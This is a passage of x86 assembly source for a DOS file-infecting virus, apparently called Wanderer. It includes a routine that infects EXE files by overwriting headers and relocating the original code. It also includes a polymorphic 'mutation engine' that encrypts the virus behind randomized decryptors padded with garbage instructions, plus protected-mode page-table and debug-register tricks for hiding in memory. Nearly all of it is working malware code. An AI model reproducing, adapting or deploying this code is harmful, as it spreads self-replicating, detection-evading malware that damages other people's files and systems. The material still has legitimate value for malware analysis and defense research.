; Needs memory? TSR or exec files?
jne close_file ; Yes? then jmp
mov ds:host_type,1 ; It's an EXE file
xor ax,ax
xchg ax,ds:relo_items ; Numbers of relocation items
; Set it to 0
mov ds:reloc_items,ax
cmp ax,4096 ; Too much items?
ja close_file ; Yes? then jmp
mov ax,ds:ofs_reloc ; Offset of 1st reloc. item
mov ds:ofs_relocitems,ax
mov eax,dword ptr ds:filesize_l
movzx ecx,ds:header_size
shl ecx,4 ; Calculate header size
sub eax,ecx ; Total size - header size
cmp eax,1000h ; Loadable module too small?
jb close_file ; Yes? then jmp
mov si,offset(val_ip)
mov di,offset(file_exeIP)
movsw ; Save Exe IP
movsw ; Save Exe CS
xor ax,ax
mov di,offset(val_ip)
stosw ; Set to 0
stosw ; Set to 0(vir code starts after header)
call go_start_file
mov cx,100h
mov ah,40h
mov dx,offset(buffer2)
call int_21h ; Save modified header
xor cx,cx
mov dx,ds:header_size
shl dx,4 ; Calculate size header
push dx
mov ax,4200h
call int_21h ; Lseek after header
mov dx,offset(buffer2)
mov ah,3Fh
mov cx,BUFFER_SIZE
call int_21h ; Read original code
call setup_engine ; Encrypt virus code
pop dx
push cx
xor cx,cx
mov ax,4200h
call int_21h ; Lseek after header
mov ah,40h
pop cx
push cx
mov dx,BUFFER_SIZE
call int_21h ; Save encrypted virus code after header
call go_end_file
pop cx
mov dx,offset(buffer2)
mov ah,40h
call int_21h ; Save original code (end of file)
jmp restore_fdate

go_start_file:
mov ax,4200h
xor dx,dx
xor cx,cx
call int_21h ; Lseek start
ret

go_end_file:
xor dx,dx
xor cx,cx
mov ax,4202h
call int_21h ; Lseek end
ret

int_21h:
pushf
db 9Ah ; call far int 21h
ofs_i21 dw 0
seg_i21 dw 0
jnc no_i21_error
mov ax,4B00h
int 21h ; If error then re-enter virus int 21h
; to remove the virus copy done for
; infection
no_i21_error:
ret

; Prepare to call mutation engine


setup_engine:
push bx
mov ax,0FFFFh
call get_n_random ; Get random mask [0..0FFFEh]
mov ds:xor_mask,ax
call encrypt_infection_routine ; Encrypt
mov si,100h ; Always starts at DS:100h (EXE & COM)
mov bp,si
mov cx,VIRUS_SIZE
mov di,offset(buffer1)
mov ax,160h
mov bx,si
pusha
push ds:random1
push ds:random2
call mutation_engine ; Encrypt to calculate the
mov ds:size_in_file,cx ; increase size in file
pop ds:random2
pop ds:random1
popa
call mutation_engine ; Encrypt virus code
call encrypt_infection_routine ; Decrypt inf. routine
pop bx
ret

encrypt_infection_routine: ; Encrypt/decrypt the infection routine


pusha
mov si,offset(infect_file)
mov cx,offset(return_dpl0)-offset(infect_file)
mov ax,ds:xor_mask
l_enc:
xor [si],ax
inc si
inc si
loop l_enc
popa
ret

filesize_l dw 0
filesize_h dw 0
size_in_file dw 0
xor_mask dw 0
file_exeIP dw 0
file_reloCS dw 0
reloc_items dw 0
ofs_relocitems dw 0

; Wanderer Mutation Engine


; Parameters :
; DS:SI -> code to encrypt
; ES:DI -> buffer
; CX -> size
; BP -> delta offset (runtime offset)
; AX -> max size of decryptor
; BX -> min size of decryptor
; Return :
; CX -> size of decryptor + data encrypted

mutation_engine:
mov enc_buffer,di ; Addr. buffer
mov delta_ofs,bp ; Addr. source code
mov mask_dec_ofs,0
mov end_encryptor,0C3h ; RET
mov code_size,cx ; Number of bytes to encrypt
push cs
pop es
sub ax,bx ; Decryptor size in [BX..AX]
call get_n_random ; [0..AX-BX]
add ax,bx ; [BX..AX]
mov decryptor_size,ax
add di,ax ; Space for decryptor in buffer
rep movsb ; Copy code to encrypt
mov ax,2
call get_n_random ; [0,1]
mov ptr_select_reg,ax
mov ax,5
call get_n_random ; [0..4]
add al,0Ah ; [0Ah..0Eh]
xchg ax,cx
mov ax,decryptor_size
div cl
sub cl,4
mov operations,cl ; Number of encryption ops
xor ah,ah
mov max_garbage,ax ; Max garbage per operation
mov al,3
call get_n_random ; [0..2]
inc al ; AL in [1..3]
or ds:op_dec_counter,al ; Opcode for decreasing counter
mov ds:reg_counter,al
call get_garbage_number
mov di,enc_buffer
call generate_garbage
mov bx,offset(register_table)
add bx,ptr_select_reg ; Select registers in table
mov al,[bx] ; Register 0 (SI) or 1 (DI)
mov indexreg_op1,al ; Index for operations
mov dl,[bx+2] ; Register 2 (SI) or 3 (DI)
mov ds:indexreg_op2,dl ; Index register
mov bp,decryptor_size
add bp,delta_ofs
call get_garbage_number
call generate_mov ; Load a reg with delta-ofs
mov dl,ds:reg_counter
mov bp,code_size
call get_garbage_number
shr cx,1 ; Decrypt words
call generate_mov ; Load a reg with # of loops
mov ds:in_loop,1
mov ofs_loop_begin,di ; Start of loop code
call get_garbage_number
shr cx,1
call generate_garbage
mov cl,operations ; Number of operations
xor ch,ch
l_gen_op:
push cx
call generate_operation
call get_garbage_number
call generate_garbage
pop cx
loop l_gen_op
mov al,40h ; Gen. inc index reg (SI | DI)
or al,ds:indexreg_op2
stosb
call get_garbage_number
call generate_garbage
mov cx,di ; End loop
sub cx,ofs_loop_begin ; Calculate loop size
inc cx
inc cx
push si
mov si,offset(code_loop) ; Generate end-loop code
movsw
movsw
movsw
pop si
add cx,4
neg cx
mov [di-2],cx ; Jmp to begin of loop
jmp fill_with_garbage

code_loop:
op_dec_counter db 48h ; dec reg_counter: DEC CX | DX | BX
jz end_code_loop
db 0e9h,0,0 ; jmp to start of decryption loop
end_code_loop:

;;;; Unused code ! ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


mov al,0E2h ; LOOP opcode
stosb ; Store it
xchg al,cl
neg al ; loop jmp
stosb
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

fill_with_garbage:
mov cx,decryptor_size
add cx,enc_buffer
sub cx,di ; Fill buffer with garbage
mov ds:in_loop,0 ; Loop finished
call generate_garbage
push di
mov cx,code_size
mov bx,decryptor_size
add bx,enc_buffer
mov al,ds:indexreg_op2
or ds:mov_pointerreg_bx,al
or ds:inc_pointerreg,al
mov ax,ds:encryptor_ptr
sti
db 89h ; mov index register,bx
mov_pointerreg_bx db 0D8h
l_encrypt_code:
cli
call ds:encryptor_ptr
sti
inc_pointerreg db 40h ; inc index register
loop l_encrypt_code
pop cx
mov dx,enc_buffer
sub cx,dx
add cx,code_size
mov ds:encryptor_ptr,offset(end_encryptor) ; Reset buffers
mov ds:ofs_endencryptor,offset(end_encryptor)
mov al,0F8h
and ds:mov_pointerreg_bx,al ; Clear registers
and ds:inc_pointerreg,al
and ds:op_dec_counter,al
ret

register_table:
db 4 ; SI
db 5 ; DI
db 6 ; SI
db 7 ; DI

generate_operation:
mov ax,7
call get_n_random ; [0..6]
shl ax,2 ; AX in [0,4,8,...,24]
mov si,offset(operation_table)
add si,ax ; Select operation
mov bx,ds:encryptor_ptr
cmp al,20 ; Needs an immediate address?
ja get_immaddr ; Yes? then jmp
mov cx,[si] ; Get decryptor opcode
or ch,indexreg_op1 ; Insert op register
mov [di],cx ; Add to decryptor
mov cx,[si+2] ; Get encryptor opcode
or ch,indexreg_op1 ; Insert op register
scasw ; SI+2, DI+2
cmp al,12 ; Inst. needs a mask?
jb get_inst_mask ; Yes? then jmp
mov [bx-2],cx ; Add to encryptor
sub ds:encryptor_ptr,2 ; Next encryptor entry
ret

get_inst_mask:
mov al,0FFh
call get_n_random ; Get mask [0..0FEh]
mov mask_dec_ofs,di ; Save current offsets
mov mask_enc_ofs,bx
stosb ; Add mask to decryptor
mov [bx-3],cx ; Add instruction to encryptor
mov [bx-1],al ; Add mask to encryptor
sub ds:encryptor_ptr,3
ret

get_immaddr:
cmp mask_dec_ofs,0 ; Any mask instruction?
jz no_mask_inst ; No? then jmp
mov bx,ds:ofs_endencryptor ; Add inst at end of encryptor
mov ax,[si]
stosw ; Add instruction to decryptor
mov ax,[si+2]
mov [bx],ax ; Add instruction to encryptor
mov ax,mask_dec_ofs ; Calculate mask address in decryptor
add ax,delta_ofs
sub ax,enc_buffer
stosw ; Add address to instruction
mov ax,mask_enc_ofs ; Calculate mask address in encryptor
dec ax
mov [bx+2],ax ; Add to encryptor
mov al,0FFh
call get_n_random ; [0..0FEh]
stosb ; Value for adding to the mask
mov [bx+4],al
add ds:ofs_endencryptor,5 ; New end of encryptor
mov byte ptr [bx+5],0C3h ; Add a RET at end
mov mask_dec_ofs,0
no_mask_inst:
ret

operation_table:
db 80h,30h ; xor byte ptr [index],??
db 80h,30h ; xor byte ptr [index],??

db 80h,0 ; add byte ptr [index],??


db 80h,28h ; sub byte ptr [index],??

db 0C0h,0 ; rol byte ptr [index],??


db 0C0h,8 ; ror byte ptr [index],??

db 0D0h,0 ; rol byte ptr [index],1


db 0D0h,8 ; ror byte ptr [index],1

db 0F6h,18h ; neg byte ptr [index]


db 0F6h,18h ; neg byte ptr [index]

db 0FEh,0 ; inc byte ptr [index]


db 0FEh,8 ; dec byte ptr [index]

db 80h,6 ; add byte ptr [imm],??


db 80h,6 ; add byte ptr [imm],??

generate_mov:
mov ax,4
call get_n_random ; [0..3]
mov si,offset(mov_table)
xchg al,ah
aad 3 ; Select mov type
add si,ax
lodsb
shl ax,1 ; Check if needs to use routine 1 or 0
xchg ax,bx
call [bx+offset(mov_select)]
ret

mov_select:
dw offset(mov_r1)
dw offset(mov_r2)

mov_r1: ; Generates: mov reg(dl),value(bp)


movsw ; Store instruction opcodes
or [di-1],dl ; Set destination register
xchg ax,bp
stosw ; Store delta offset
call generate_garbage
ret

mov_r2: ; Generates: (xor | sub) reg(dl),reg(dl)


; (add | xor | or) reg(dl),value(bp)
push si
push dx
mov ax,2
call get_n_random ; 0 or 1
shl ax,1 ; Select instruction (clear register)
add ax,offset(reg0_table)
xchg ax,si
movsw ; Store instruction zero register
or [di-1],dl ; Destination register
shl dl,3
or [di-1],dl ; Source reg. (same as destination)
shr cx,1
push cx
push bp
call generate_garbage
pop bp
pop cx
pop dx
pop si
movsw ; Store instruction
or [di-1],dl ; Destination register
xchg ax,bp
stosw ; Store delta offset
call generate_garbage
ret

mov_table:
db 0 ; Use mov_r1
db 0C7h,0C0h ; MOV reg,imm
db 1 ; Use mov_r2
db 81h,0C8h ; OR reg,imm
db 1 ; Use mov_r2
db 81h,0C0h ; ADD reg,imm
db 1 ; Use mov_r2
db 81h,0F0h ; XOR reg,imm

reg0_table:
db 29h,0C0h ; SUB reg,reg
db 31h,0C0h ; XOR reg,reg

get_garbage_number:
mov ax,max_garbage
call get_n_random ; [0..max_garbage-1]
xchg ax,cx
ret

generate_garbage:
and cx,cx ; Generate garbage?
jnz do_garbage ; Yes? then jmp
ret

do_garbage:
mov si,offset(garbage_table)
l_select_entry:
mov ax,1Fh
call get_n_random ; [0..1Eh]
mov dl,al
inc dl ; DL in [1..1Fh]
process_table_entry:
mov al,[si] ; Read entry
cmp al,4Eh ; End of table?
jne check_entry ; No? then jmp
mov si,offset(garbage_table)
jmp process_table_entry

check_entry:
mov dh,al
and al,0Fh ; Get number of opcodes
cbw ; AH:=0 (b'cos AL<80h)
and dl,dl ; Generate this instruction block?
jz generate_block ; Yes? then jmp
dec dl
shr dh,4 ; Calculate next table entry address :
add al,dh ; #opcodes + #patches + 2
add si,ax
inc si
inc si
jmp process_table_entry

generate_block:
push cx
sub cx,ax ; Sub instruction size from garbage
test ch,80h ; Instruction too big?
pop cx
jne l_select_entry ; Yes? then jmp (don't generate)
mov ds:garbagetogen,cx ; Remaining garbage
mov bl,[si+1] ; Read block flags
cmp ds:jmp_ofs,bl ; Allowed instruction? (don't allow
; cond.jmp inside another cond.jmp)
ja l_select_entry ; No? then jmp
mov bh,bl
test bl,40h ; Can be in the decryptor loop?
jne loop_ok ; Yes? then jmp
cmp ds:in_loop,1 ; Is in the loop?
je l_select_entry ; Yes? then jmp
loop_ok:
push ax
mov ax,3Fh
and bl,al ; Get block probabilities
call get_n_random
cmp bl,al ; Generate block?
pop ax
jb l_select_entry ; No? then jmp
inc si
push si
push cx
xor bx,bx
mov bl,dh
and bl,0F0h ; get # of patches
shr bl,4
inc bx
mov cx,ax ; # of opcodes
push si
push di
add si,bx
rep movsb ; Generate block
pop di
pop si
mov cx,bx ; # of patches
dec cx ; Any patch?
jcxz done_patches ; No? then jmp
l_do_patches:
inc si
mov al,[si] ; Read patch from table
mov dl,al
and al,0Fh ; Get byte to patch
cbw
mov bp,ax
mov al,dl
and al,0F0h ; Get function to use
shr al,3
mov bx,ax
add bx,offset(function_table)
call word ptr [bx] ; Call function
loop l_do_patches
done_patches:
pop cx
pop si
mov al,dh
and al,0Fh ; Number of opcodes
cbw
shr dh,4 ; Number of patches
sub cx,ax ; Sub generated # from total garbage
add di,ax ; Inc buffer pointer
add al,dh ; opcodes+patches
add si,ax ; SI points to next table entry
inc si ;
mov al,ds:jmp_ofs
and al,al ; Any jmp?
jz all_garbage? ; No? then jmp
test al,80h ; Generating a jump?
jnz all_garbage? ; Yes? then jmp
; else jmp is finished
add cx,di ; garbage to gen + current offset
mov di,previous_ofs ; Save current offset
sub cx,di ; Sub jmp displacement from garbage
mov ds:jmp_ofs,0
all_garbage?:
and cx,cx ; All garbage generated?
jz exit_garbage ; Yes? then jmp
jmp l_select_entry ; No? then jmp

exit_garbage:
mov previous_ofs,di
ret

function_table:
F_G_BYTE = 0 * 16
dw offset(generate_byte_word)
F_I_OP_REG = 1 * 16
dw offset(insert_op_reg)
F_I_REG = 2 * 16
dw offset(insert_reg)
F_I_MODRM = 3 * 16
dw offset(insert_modrm)
F_I_RM = 4 * 16
dw offset(insert_rm)
F_ADD_0_5 = 5 * 16
dw offset(add_0_5)
F_I_REGRMMOD = 6 * 16
dw offset(insert_regrmmod)
F_G_JXX = 7 * 16
dw offset(generate_jxx)
F_G_WORD = 8 * 16
dw offset(generate_byte_word)
F_I_REG_PRESERVE_MODRM = 9 * 16
dw offset(insert_reg_preserve_modrm)
F_I_RUNTIME_OFS = 10 * 16
dw offset(insert_runtime_ofs)
F_I_LAST_REG_SRC = 11 * 16
dw offset(insert_last_reg_src)
F_I_LAST_REG_DEST = 12 * 16
dw offset(insert_last_reg_dest)

generate_byte_word:
mov al,0FFh
call get_n_random ; [0..0FEh]
mov es:[di+bp],al ; Store byte
test dl,80h ; Generating word?
jz ret_gen_b_w ; No? then jmp
mov al,0FFh
call get_n_random ; [0..0FEh]
mov es:[di+bp+1],al ; Store another byte
ret_gen_b_w:
ret

insert_mod:
mov al,0F0h
call get_n_random ; [0..0EFh]
and al,80h ; AL:=(80h or 0)
mov ah,al
shr al,1 ; AL:=(40h or 0)
or al,ah ; AL:=(0C0h or 0)
or es:[di+bp],al ; 0 -> register index
; 0C0 -> register to register
ret

insert_reg:
mov al,0F0h
call get_n_random ; [0..0EFh]
and al,7 ; Select register
cmp al,ds:reg_sp ; SP ?
je insert_reg ; Yes? then jmp
cmp al,ds:indexreg_op2 ; Used as index ?
je insert_reg ; Yes? then jmp
push ax
and al,3
cmp al,ds:reg_counter ; Used as counter ?
pop ax
je insert_reg ; Yes? then jmp
or es:[di+bp],al ; Insert register
mov unused_reg,al ; Save for later use
ret

add_0_5:
mov al,6
call get_n_random ; [0..5]
add es:[di+bp],al
ret

insert_rm:
mov al,80h
call get_n_random ; [0..7Fh]
and al,00000111b ; AL in [0..7]
cmp al,00000110b ; immediate address?
je insert_rm ; Yes? Skip it
or es:[di+bp],al
ret

insert_modrm:
call insert_mod
call insert_rm
ret

insert_regrmmod:
call insert_reg
shl byte ptr es:[di+bp],3 ; Register
call insert_rm
call insert_mod
ret
insert_op_reg:
mov al,0Fh ; [0..0Eh]
call get_n_random
shl al,3 ; Operation
or es:[di+bp],al ; ADD, OR, ADC,...
call insert_reg
ret

generate_jxx:
mov al,10h ; [0..0Fh]
call get_n_random
or es:[di+bp-1],al ; JO,JNO,JB,JNB,JE,JNE,JBE,JA,
; JS,JNS,JP,JNP,JL,JLE,JG
mov ax,ds:garbagetogen ; Don't jmp out of garbage code
dec ax
dec ax
call get_n_random ; [0..AX-1]
and ax,3Fh ; jmp offset in [0..3Fh]
mov es:[di+bp],al ; Write offset
cbw
pusha
mov cx,ax
or al,80h ; Flag: generating cond. jmp
mov ds:jmp_ofs,al
add di,bp
inc di
call generate_garbage
and ds:jmp_ofs,7Fh ; Clear flag
popa
ret

insert_reg_preserve_modrm:
mov bl,es:[di+bp] ; Read mod, r/m
mov byte ptr es:[di+bp],0
call insert_reg
shl byte ptr es:[di+bp],3 ; Insert register
or byte ptr es:[di+bp],bl ; Previous mod, r/m
ret

insert_last_reg_src:
mov al,unused_reg
or es:[di+bp],al ; Insert register
ret

insert_runtime_ofs:
mov ax,di ; Destination offset
sub ax,enc_buffer ; Offset in buffer
add ax,delta_ofs ; Offset in runtime
add es:[di+bp],ax
ret

insert_last_reg_dest:
mov al,unused_reg
shl al,3
or es:[di+bp],al ; Insert register
ret

; Garbage table format :


; Each entry:
;
; ABh
; |^Number of bytes in this blocks
; Number of fix functions
;
; CDh : 11111111b
; ||^^^^^^Generation probabilty of this block when selected
; |Can be in a loop? (1=yes)
; Can be generated? (1=always, 0=depend of previous generations)
;
; EFh |
; |^Byte to fix | Number of fixes
; Function to use |
; [...] |
;
; GHh (byte 0) | List of opcodes in the block
; [...] |
;

garbage_table:
; TEST ??,imm8 :
db 23h ; 2 fixes, 3 bytes
db 0FFh ; Generate always, in loop, 100%
db F_I_MODRM + 1 ; Function F_I_MODRM in byte 1
db F_G_BYTE + 2 ; Function F_G_BYTE in byte 2
db 0F6h ; byte 0
db 0 ; byte 1
db 0 ; byte 2

; 1 byte opcodes (CLC, STC, CLI, STI, CLD, STD) :


db 11h
db 0FFh
db F_ADD_0_5 + 0
db 0F8h

; Jxx :
db 12h
db 7Fh ; Don't gen a Jxx when another is being gen
db F_G_JXX + 1
db 70h
db 0

; Arithmetic ops :
db 24h
db 0FFh
db F_I_OP_REG + 1
DB F_G_WORD + 2
db 81h
db 0C0h
db 0
db 0

; DEC reg :
db 11h
db 0FFh
db F_I_REG + 0
db 48h

; NOP or XCHG AX,reg :


db 11h
db 0FFh
db F_I_REG + 0
db 90h

; ROL,ROR,RCL,... reg,1
db 12h
db 0FFh
db F_I_OP_REG + 1
db 0D1h
db 0C0h

; NOP or XCHG AX,reg : This entry is duplicated !?


db 11h
db 0FFh
db F_I_REG + 0
db 90h

; NEG reg :
db 12h
db 0FFh
db F_I_REG + 1
db 0F7h
db 0D8h

; CMP xx,reg :
db 12h
db 0FFh
db F_I_REGRMMOD + 1
db 38h
db 0

; MOV reg,xxxx :
db 23h
db 0FFh
db F_I_REG + 0
db F_G_WORD + 1
db 0B8h
db 0
db 0

; INC reg :
db 11h
db 0FFh
db F_I_REG + 0
db 40h

; IN AL,xx :
db 12h
db 0FFh
db F_G_BYTE + 1
db 0E4h
db 0

; MOV reg8,[xxxx] :
db 24h
db 0FFh
db F_I_REG_PRESERVE_MODRM + 1
db F_G_WORD + 2
db 8Ah
db 6
db 0
db 0

; CMP byte ptr [reg+(reg)+imm16],imm8 :


db 35h
db 0FFh
db F_I_RM + 1
db F_G_WORD + 2
db F_G_BYTE + 4
db 80h
db 0B8h
db 0
db 0
db 0

; NOT reg :
db 12h
db 0FFh
db F_I_REG + 1
db 0F7h
db 0D0h

; OR reg,...
db 12h
db 0FFh
db F_I_REGRMMOD + 1
db 0Ah
db 0

db 4Eh ; End of garbage table mark

jmp_ofs db 0
db 0 ; Wasted byte!
garbagetogen dw 0
reg_sp db 4 ; SP register
reg_counter db 81h
indexreg_op2 db 86h
db 80h ; Wasted byte!
in_loop db 0

initialize_random_seed:
pusha
mov ah,2Ch
call int_21h ; Get current time
mov cs:random1,cx ; Hours + minutes
mov cs:random2,dx ; Seconds + hundredths of second
popa
ret

get_n_random: ; Returns pseudo-random value in [0..(AX-1)]


pusha
call get_random
mov bx,sp
mov cx,dx
mul word ptr ss:[bx+0Eh]
mov ax,cx
mov cx,dx
mul word ptr ss:[bx+0Eh]
add ax,cx
adc dx,0
mov ss:[bx+0Eh],dx
popa
ret

get_random:
mov ax,cs:random1
mov bx,cs:random2
mov cx,ax
mul cs:mult_const
shl cx,3
add ch,cl
add dx,cx
add dx,bx
shl bx,2
add dx,bx
add dh,bl
shl bx,5
add dh,bl
add ax,1
adc dx,0
mov cs:random1,ax
mov cs:random2,dx
ret

mult_const dw 8405h
random1 dw 0
random2 dw 0
encryptor_ptr dw offset(end_encryptor)
ofs_endencryptor dw offset(end_encryptor)

kill_copy4infection:
call set_ds
mov ax,ss
mov es,ax
mov esi,cs:page_1
mov ds:[esi+infecting],0 ; Can infect again
assume cs:data0
mov esp,cs:_esp
assume cs:wanderer
mov edi,esp
mov ecx,STACK_SIZE/4
cld
db 0F3h,66h,67h,0A5h ; rep movsd (TASM FIX)
; Restore stack
push ds
pop es
xor ebp,ebp
mov esi,90h ; Restore pages allocated by infection procedure
l_restore_pages:
mov edx,cs:old_pages[ebp*4]
call map_page
inc esi ; Next 4KB
inc bp ; Next page
cmp bp,3 ; old_page1,2 and 3 restored?
jne l_restore_pages ; No? then jmp
exit_21h:
xor ax,ax
mov ds,ax
mov es,ax
popad
iretd ; Return to original caller

; Format of a Page Table Entry


;
; 31 12 11 0
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÍÍÍÑÍÍÍÑÍÑÍÑÍÍÍÑÍÑÍÑÍ»
; º ³ ³ ³ ³ ³ ³U³R³ º
; º PAGE FRAME ADDRESS 31..12 ³ AVAIL ³0 0³D³A³0 0³/³/³Pº
; º ³ ³ ³ ³ ³ ³S³W³ º
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÍÍÍÏÍÍÍÏÍÏÍÏÍÍÍÏÍÏÍÏͼ
;
; P - PRESENT
; R/W - READ/WRITE
; U/S - USER/SUPERVISOR
; D - DIRTY
; AVAIL - AVAILABLE FOR SYSTEMS PROGRAMMER USE
; NOTE: 0 INDICATES INTEL RESERVED. DO NOT DEFINE.

map_page:
mov edi,cs:pagetable
mov ebx,[edi][esi*4] ; Read page in page table
mov dl,67h
mov [edi][esi*4],edx ; Store new page in page table
mov eax,cr3
mov cr3,eax
ret

setup_system_regs:
movzx ebx,ds:virus_cs
shl ebx,4
add ebx,offset(GDTR) ; Calculate GDTR phys address
mov ds:addr_GDTR,ebx
add ebx,IDTR-GDTR ; Calculate IDTR phys address
add ds:addr_IDTR,ebx
mov cx,ds:addr_dir_page
mov es,cx
shr cx,8
mov ax,0DE06h ; VCPI - Get dir page phys addr in 1st MB
call VCPI
mov ds:_CR3,edx ; EDX = physical address of dir page
mov ax,0DE06h ; VCPI - Get phys addr of page in 1st MB
mov cx,es
shr cx,8
inc cx ; Addr of page table
call VCPI
or dl,7 ; User level, read-write, present
mov es:[0],edx ; Store page table in page directory
ret

VCPI:
int 67h ; - LIM EMS
and ah,ah ; Error or VCPI not present ?
jz no_ems_error ; No? then jmp
pop ax
jmp exec_host
no_ems_error:
ret

;
; DATA SEGMENT DESCRIPTOR
;
; 31 23 15 7 0
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÑÍÑÍÑÍÑÍÍÍÍÍÍÍÍÍØÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
; º ³ ³ ³ ³A³ LIMIT ³ ³ ³ TYPE ³ º
; º BASE 31..24 ³G³B³0³V³ 19..16 ³P³ DPL ³ ³ BASE 23..16 º 4
; º ³ ³ ³L³ ³ ³ ³1³0³E³W³A³ º
; ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÁÄÁÄÁÄÁÄÄÄÄÄÄÄÄÄÅÄÁÄÄÄÄÄÁÄÁÄÁÄÁÄÁÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
; º ³ º
; º SEGMENT BASE 15..0 ³ SEGMENT LIMIT 15..0 º 0
; º ³ º
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
;
; EXECUTABLE SEGMENT DESCRIPTOR
;
; 31 23 15 7 0
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÑÍÑÍÑÍÑÍÍÍÍÍÍÍÍÍØÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
; º ³ ³ ³ ³A³ LIMIT ³ ³ ³ TYPE ³ º
; º BASE 31..24 ³G³D³0³V³ 19..16 ³P³ DPL ³ ³ BASE 23..16 º 4
; º ³ ³ ³ ³L³ ³ ³ ³1³0³C³R³A³ º
; ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÁÄÁÄÁÄÁÄÄÄÄÄÄÄÄÄÅÄÁÄÄÄÄÄÁÄÁÄÁÄÁÄÁÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
; º ³ º
; º SEGMENT BASE 15..0 ³ SEGMENT LIMIT 15..0 º 0
; º ³ º
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
;
;
; DESCRIPTORS USED FOR SPECIAL SYSTEM SEGMENTS
;
; 31 23 15 7 0
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÑÍÑÍÑÍÑÍÍÍÍÍÍÍÍÍØÍÑÍÍÍÍÍÑÍÑÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
; º ³ ³ ³ ³A³ ³ ³ ³ ³ ³ º
; º BASE 31..24 ³G³X³O³V³ LIMIT ³P³ DPL ³0³ TYPE ³ BASE 23..16 º 4
; º ³ ³ ³ ³L³ 19..16 ³ ³ ³ ³ ³ º
; ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÁÄÁÄÁÄÁÄÄÄÄÄÄÄÄÄÅÄÁÄÄÄÄÄÁÄÁÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
; º ³ º
; º SEGMENT BASE 15..0 ³ SEGMENT LIMIT 15..0 º 0
; º ³ º
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
;
;
; A - ACCESSED E - EXPAND-DOWN
; AVL - AVAILABLE FOR PROGRAMMERS USE G - GRANULARITY
; B - BIG P - SEGMENT PRESENT
; C - CONFORMING R - READABLE
; D - DEFAULT W - WRITABLE
; DPL - DESCRIPTOR PRIVILEGE LEVEL
;
; System and Gate descriptor types :
;
; Code Type of Segment or Gate
; 0 -reserved
; 1 Available 286 TSS
; 2 LDT
; 3 Busy 286 TSS
; 4 Call Gate
; 5 Task Gate
; 6 286 Interrupt Gate
; 7 286 Trap Gate
; 8 -reserved
; 9 Available 386 TSS
; A -reserved
; B Busy 386 TSS
; C 386 Call Gate
; D -reserved
; E 386 Interrupt Gate
; F 386 Trap Gate

build_descriptor:
; AX = descriptor
; CX = base address
; BX = limit
; DX = rights
movzx eax,ax
mov [esi][eax],bx ; Limit 15..0
shr ebx,10h
mov [esi+2][eax],cx ; Base 15..0
shr ecx,10h
mov [esi+4][eax],cl ; Base 23..16
mov [esi+5][eax],dl ; Type, DPL, P,...
and bl,0Fh
or dh,bl
mov [esi+6][eax],dh ; Limit 19..16, AVL, G,...
mov [esi+7][eax],ch ; Base 31..24
ret

set_breakpoints:
mov eax,cs:i21h_ep
mov dr0,eax ; Address for breakpoint 0 (int 21h)
mov eax,0FE05Bh ; BIOS address: near jump to reboot
mov dr1,eax ; Address for breakpoint 1
xor eax,eax
mov dr6,eax ; Clear dr6 (the processor never clears it)
mov eax,00000000000000000000001000001010b
; ^ ^
; 2 breakpoints (globals)
mov dr7,eax
ret

set_ds:
mov ax,cs
add ax,8
mov ds,ax
ret

; 80386 INTERRUPT GATE


; 31 23 15 7 0
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÑÍÍÍÑÍÍÍÍÍÍÍÍÍØÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍ»
; º OFFSET 31..16 ³ P ³DPL³0 1 1 1 0³0 0 0³(NOT USED) º4
; ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÁÄÄÄÁÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄĶ
; º SELECTOR ³ OFFSET 15..0 º0
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
;
